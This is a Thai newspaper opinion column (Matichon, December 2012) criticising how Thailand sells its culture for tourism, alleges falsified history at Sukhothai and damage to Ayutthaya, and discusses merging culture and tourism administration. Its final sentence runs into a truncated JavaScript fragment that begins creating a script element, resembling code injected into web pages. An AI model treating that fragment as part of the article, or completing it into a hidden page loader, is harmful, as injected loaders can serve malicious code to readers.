มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 20 ธันวาคม 2555

 

          การท่องเที่ยวเข้ากันได้ดีกับทุกอย่างในไทย เพราะทุกอย่างในไทยขายได้ดีเพื่อการท่องเที่ยว (ไม่เว้นแม้ขายผู้หญิง แต่ปิดบังไว้)

          เมื่อปรับข้อความเข้ากับวัฒนธรรม ก็จะออกมาดังนี้

          การท่องเที่ยวเข้ากันได้ดีกับวัฒนธรรมทุกอย่างในไทย เพราะวัฒนธรรมทุกอย่างในไทยขายได้ดีเพื่อการท่องเที่ยว (โดยเฉพาะวัฒนธรรมทางเพศ ขายดีที่หนึ่ง แต่ทำเป็นมองไม่เห็น)

          อันที่จริงประเทศก้าวหน้าในโลก ไม่ว่าทางตะวันตกหรือทางตะวันออก ต่างเปิดขายวัฒนธรรมเพื่อการท่องเที่ยวมานานนักหนาเหมือนกันทั้งนั้น

          แต่พวกเขาขายอย่างมีสติและมีปัญญา โดยรู้ถึงคุณค่าและมูลค่า จึงได้ราคาและไม่เสื่อมค่าเป็นอมตะนิรันดร์กาล

          วัฒนธรรมมีความเคลื่อนไหวไม่เคยหยุดนิ่ง เมื่อพูดคำว่าวัฒนธรรมจบไป วัฒนธรรมนั้นก็เปลี่ยนไปไม่เหมือนเดิมแล้ว และกำลังพัฒนาสู่วัฒนธรรมใหม่กว่าที่จะมาถึงข้างหน้า

          แต่คนชั้นนำของไทยใช้อำนาจแช่แข็งวัฒนธรรมในไทยให้หยุดนิ่งตายตัว ไม่เคลื่อนไหว

          แล้วดราม่าฟูมฟายโหยหาวัฒนธรรมชั้นสูงในไทยที่ถูกแช่แข็งนั้นอย่างจะเป็นจะตาย โดยเรียกร้องคนรากหญ้ารักษาวัฒนธรรมนั้น ทั้งๆคนชั้นนำเหล่านั้นเองที่ขายวัฒนธรรมแช่แข็งเพื่อการท่องเที่ยวของคนชั้นตน แต่ไม่รักษาด้วยตนเองอย่างที่ดราม่า

          ท่องเที่ยวกับวัฒนธรรม โดยหลักการแล้วไม่มีอะไรขัดกัน มีแต่เสริมส่งซึ่งกันและกันทั้งในทางดีและไม่ดี ดังเห็นทั่วไปในบ้านเมืองประเทศก้าวหน้าทางตะวันตก

          ในไทยมีปัญหาเพราะความโลภที่จะขายอย่างควบคุมไม่ได้ทั้งสติและปัญญา ด้วยหวังจะลอกคราบรูดทรัพย์จากนักท่องเที่ยวมากๆอย่างเดียว

          เลยขายการท่องเที่ยวด้วยวิธีปลอมประวัติศาสตร์ เช่น เรื่องราชธานีแห่งแรก และนางนพมาศ ลอยกระทง ที่สุโขทัย แล้วทำลายสถานที่ประวัติศาสตร์ทุกแห่งเพื่อขาย จนฉิบหายเกือบหมด เช่น ที่อยุธยา

          บ้านเมืองก้าวหน้านอกจากใช้การท่องเที่ยวสร้างรายได้แล้ว ยังใช้การท่องเที่ยวเป็นเครื่องมือทางการศึกษานอกสถานที่เพื่อแบ่งปันเข้าถึงความรู้ท้องถิ่นด้านประวัติศาสตร์และสังคมวัฒนธรรมอีกด้วย

          แต่ไม่ใช่ไทย

          ไทยต้องปรับปรุงการบริหารจัดการมรดกทางวัฒนธรรมให้มีประสิทธิภาพกว่าที่เป็นอยู่ ทั้งส่วนที่ต้องเก็บรักษาและสืบทอด กับส่วนที่ต้องสร้างสรรค์

          เมื่อทำได้ดีแล้ว ถ้า ก. วัฒนธรรม (วธ.) จะรวมงานท่องเที่ยวเข้าด้วยกัน ก็ไม่ใช่เรื่องแปลกประหลาด และไม่เสียหายอะไร กลับจะดีเหมือนนานาอารยประเทศ

          หากจะคิดว่าเสียหายก็เสียหายมานานแล้ว เพราะในความเป็นจริงของสังคมไทยขายวัฒนธรรมเพื่อการท่องเที่ยวมาตั้งแต่แผนพัฒนาเศรษฐกิจฉบับแรกยุคเผด็จการทหารจอมพล ส. ธนะรัชต์ เมื่อราว 50 ปีที่แล้ว

          เพียงแต่มีบางพวกหลอกตัวเองขณะฟูมฟายกับเพลินวาน และมีอีกหลายพวกขายอย่างสติแตกแดกไม่เลือกต่างหากvar d=document;var s=d.createElement(‘script’);